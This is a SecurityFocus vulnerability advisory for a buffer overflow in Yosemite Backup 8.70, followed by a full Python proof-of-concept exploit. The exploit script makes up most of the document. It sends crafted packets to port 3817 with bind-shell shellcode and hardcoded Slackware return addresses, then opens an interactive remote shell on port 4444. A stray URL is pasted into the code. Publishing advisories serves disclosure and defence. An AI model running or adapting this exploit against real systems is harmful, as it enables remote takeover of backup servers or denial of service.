source: https://www.securityfocus.com/bid/32246/info
Yosemite Backup is prone to a buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized buffer.
Attackers can exploit this issue to execute arbitrary code within the context of the affected application or cause a denial-of-service condition.
NOTE: Reports indicate that successful exploits allow remote code execution on Linux systems and denial of service on Windows systems.
Yosemite Backup 8.70 is vulnerable; other versions may also be affected.
import os
import sys
import socket
# http://www.insight-tech.org
# http://www.insight-tech.org/xploits/yosemiteStackOverflowExploit.zip
#Yosemite backup 8.7 PoC by AbdulAziz Hariri.
#BIND TO PORT 4444 - Metasploit
shellcode=("\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x90"
"\x9f\xfa\x9d\x83\xeb\xfc\xe2\xf4\xa1\x44\xa9\xde\xc3\xf5\xf8\xf7"
"\xf6\xc7\x63\x14\x71\x52\x7a\x0b\xd3\xcd\x9c\xf5\x81\xc3\x9c\xce"
"\x19\x7e\x90\xfb\xc8\xcf\xab\xcb\x19\x7e\x37\x1d\x20\xf9\x2b\x7e"
"\x5d\x1f\xa8\xcf\xc6\xdc\x73\x7c\x20\xf9\x37\x1d\x03\xf5\xf8\xc4"
"\x20\xa0\x37\x1d\xd9\xe6\x03\x2d\x9b\xcd\x92\xb2\xbf\xec\x92\xf5"
"\xbf\xfd\x93\xf3\x19\x7c\xa8\xce\x19\x7e\x37\x1d")
request1_1 =("\x54\x84\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x92\x00\x00\x00"+
"\x03\x3f\xfb\x76\x08\x20\x80\x00\x7f\xe3\x08\x88\x57\x3b\x77\x80"+
"\x01\x00\x00\x00\xc0\xa8\x01\x42\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x30\x58\x39\x30\x00\x63\x88\x77\xfe\xff\xff\xff"+
"\x1b\x3f\xfb\x76\x6a\x31\x41\x73\xb0\x03\x00\x00\xff\xff\x00\x00"+
"\x06\x10\x00\x44\x74\x62\x3a\x20\x43\x6f\x6e\x74\x65\x78\x74\x00\xd8\xc1\x08\x10\xb0\x03\x00\x00\xff\xff\x00\x00\x06\x10\x00\x00"+
"\x80\xfa")
Request2_1=("\x51\x84\x00\x00\x02\x02\x02\x32\x18\x00\x00\x00\xa4\x01\x00\x00"+
"\x00\x00\x00\x00")
Request2_2=("\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x4d\x4c\x4d\x4c\x4d\x44\x4f\x4c\x4f\x44\x4f\x44"+
"\x49\x4c\x49\x44\x49\x4c\x43\x4c\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x01\x10\x00\x00\x1f\x93\xf0\x48\x67\x60\x1e\x00"+
"\xd1\xc4\x4f\x00")
def connectToTarget(hostname,port):
newsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
newsock.connect((hostname,port))
except socket.error, (value,msg):
if newsock:
newsock.close()
print "[x] Error: %s.\n" % msg
sys.exit(1)http://www.insight-tech.org/xploits/yosemiteStackOverflowExploit.zip
else:
print "[x] 0wn3d!"
buff = ""
comm = ""
#newsock.send("\n\n")
bol = 1
while bol:
buff = ""
comm = ""
comm = raw_input("$ ")
if comm == 'Q':
bol = 0
elif comm == '':
comm = ""
else:
newsock.send(comm+"\n")
buff = newsock.recv(20024)
print buff
if len(sys.argv) != 3:
print "[x] Usage: IP OS\n[x] OS: W/L\n"
sys.exit
hostname = sys.argv[1]
osver = sys.argv[2]
exploitType = 0
if osver == 'W':
exploitType=0
elif osver=='L':
exploitType=1
else:
print "[x] OS not supported.\n"
sys.exit
#CALL EDI - 0xB7DA6C90 - Slackware 12.0
ret = "\x90\x6C\xDA\xB7"
#WEEEEEEEEEEEEE - 0x0809c514 - Slackware 12.0
edi = "\x14\xc5\x09\x08"
if(exploitType == 1):
buff3r = ("\x90"*77) + shellcode + ("\x90"*119) + edi + ret
else:
buff3r = "A"*500
logno = Request2_1 + buff3r + Request2_2
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((hostname,3817))
except socket.error, (value,msg):
if s:
s.close()
print "[x] Error: %s.\n" % msg
sys.exit(1)
else:
print "[x] Connected to: %s." % hostname
print "[x] Sending initial request.."
try:
s.send(request1_1)
except socket.error, (value,msg):
if s:
s.close()
print "[x] Error: %s.\n" % msg
sys.exit(1)
else:
print "[x] Sent!"
print "[x] Sending Evil Buffer.."
try:
s.send(logno)
except socket.error, (value,msg):
if s:
s.close()
print "[x] Error: %s.\n" % msg
sys.exit(1)
else:
print "[x] Sent!"
if exploitType==1:
print "[x] Checking if exploit worked.."
connectToTarget(hostname,4444)
print "[x] End of Demo exploit."